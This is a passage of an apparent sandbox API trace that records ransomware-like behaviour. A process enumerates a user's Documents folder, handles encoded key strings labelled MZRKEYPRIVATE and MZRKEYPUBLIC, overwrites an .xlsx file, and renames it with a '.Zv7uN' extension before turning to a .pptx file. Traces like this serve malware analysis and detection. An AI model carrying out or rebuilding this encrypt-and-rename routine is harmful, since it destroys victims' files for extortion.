dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0088.323] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf2b7410, ftCreationTime.dwHighDateTime=0x1d5de29, ftLastAccessTime.dwLowDateTime=0x18588460, ftLastAccessTime.dwHighDateTime=0x1d5dd64, ftLastWriteTime.dwLowDateTime=0x18588460, ftLastWriteTime.dwHighDateTime=0x1d5dd64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="o1L10dnO", cAlternateFileName="")) returned 1 [0088.324] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0088.324] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99905f60, ftCreationTime.dwHighDateTime=0x1d5d49c, ftLastAccessTime.dwLowDateTime=0xe9474de0, ftLastAccessTime.dwHighDateTime=0x1d5a8bc, ftLastWriteTime.dwLowDateTime=0xe9474de0, ftLastWriteTime.dwHighDateTime=0x1d5a8bc, nFileSizeHigh=0x0, nFileSizeLow=0x713f, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="p0SinzaP1mEbUlrC.xlsx", cAlternateFileName="P0SINZ~1.XLS")) returned 1 [0088.324] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.324] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p0SinzaP1mEbUlrC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p0sinzap1mebulrc.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99905f60, ftCreationTime.dwHighDateTime=0x1d5d49c, ftLastAccessTime.dwLowDateTime=0xe9474de0, ftLastAccessTime.dwHighDateTime=0x1d5a8bc, ftLastWriteTime.dwLowDateTime=0xe9474de0, ftLastWriteTime.dwHighDateTime=0x1d5a8bc, nFileSizeHigh=0x0, nFileSizeLow=0x713f)) returned 1 [0088.324] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p0SinzaP1mEbUlrC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p0sinzap1mebulrc.xlsx")) returned 0x20 [0088.324] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p0SinzaP1mEbUlrC.xlsx", dwFileAttributes=0x80) returned 1 [0088.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.327] GetCurrentThreadId () returned 0xa30 [0088.327] GetCurrentThreadId () returned 0xa30 [0088.327] GetCurrentThreadId () returned 0xa30 [0088.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.328] GetCurrentThreadId () returned 0xa30 [0088.328] GetCurrentThreadId () returned 0xa30 [0088.328] GetCurrentThreadId () returned 0xa30 [0088.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p0SinzaP1mEbUlrC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p0sinzap1mebulrc.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.328] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.329] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.329] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x713f [0088.329] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.329] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x713f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x713f, lpOverlapped=0x0) returned 1 [0088.333] CloseHandle (hObject=0x124) returned 1 [0088.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p0SinzaP1mEbUlrC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p0sinzap1mebulrc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.336] WriteFile (in: hFile=0x124, lpBuffer=0x1ef8040*, nNumberOfBytesToWrite=0x713f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef8040*, lpNumberOfBytesWritten=0x18f978*=0x713f, lpOverlapped=0x0) returned 1 [0088.339] CloseHandle (hObject=0x124) returned 1 [0088.339] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p0SinzaP1mEbUlrC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p0sinzap1mebulrc.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p0SinzaP1mEbUlrC.xlsx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p0sinzap1mebulrc.xlsx.zv7un")) returned 1 [0088.340] GetCurrentThreadId () returned 0xa30 [0088.340] GetCurrentThreadId () returned 0xa30 [0088.340] GetCurrentThreadId () returned 0xa30 [0088.340] GetCurrentThreadId () returned 0xa30 [0088.340] GetCurrentThreadId () returned 0xa30 [0088.340] GetCurrentThreadId () returned 0xa30 [0088.340] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad8ac4c0, ftCreationTime.dwHighDateTime=0x1d59e2c, ftLastAccessTime.dwLowDateTime=0xd415b0c0, ftLastAccessTime.dwHighDateTime=0x1d5b80b, ftLastWriteTime.dwLowDateTime=0xd415b0c0, ftLastWriteTime.dwHighDateTime=0x1d5b80b, nFileSizeHigh=0x0, nFileSizeLow=0x85f4, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="rMBc_TwQqbjBeYXCL.pptx", cAlternateFileName="RMBC_T~1.PPT")) returned 1 [0088.341] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.341] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMBc_TwQqbjBeYXCL.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmbc_twqqbjbeyxcl.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad8ac4c0, ftCreationTime.dwHighDateTime=0x1d59e2c, ftLastAccessTime.dwLowDateTime=0xd415b0c0, ftLastAccessTime.dwHighDateTime=0x1d5b80b, ftLastWriteTime.dwLowDateTime=0xd415b0c0, ftLastWriteTime.dwHighDateTime=0x1d5b80b, nFileSizeHigh=0x0, nFileSizeLow=0x85f4)) returned 1 [0088.341] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMBc_TwQqbjBeYXCL.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmbc_twqqbjbeyxcl.pptx")) returned 0x20 [0088.341] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rMBc_TwQqbjBeYXCL.pptx", dwFileAttributes=0x80) returned 1 [0088.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57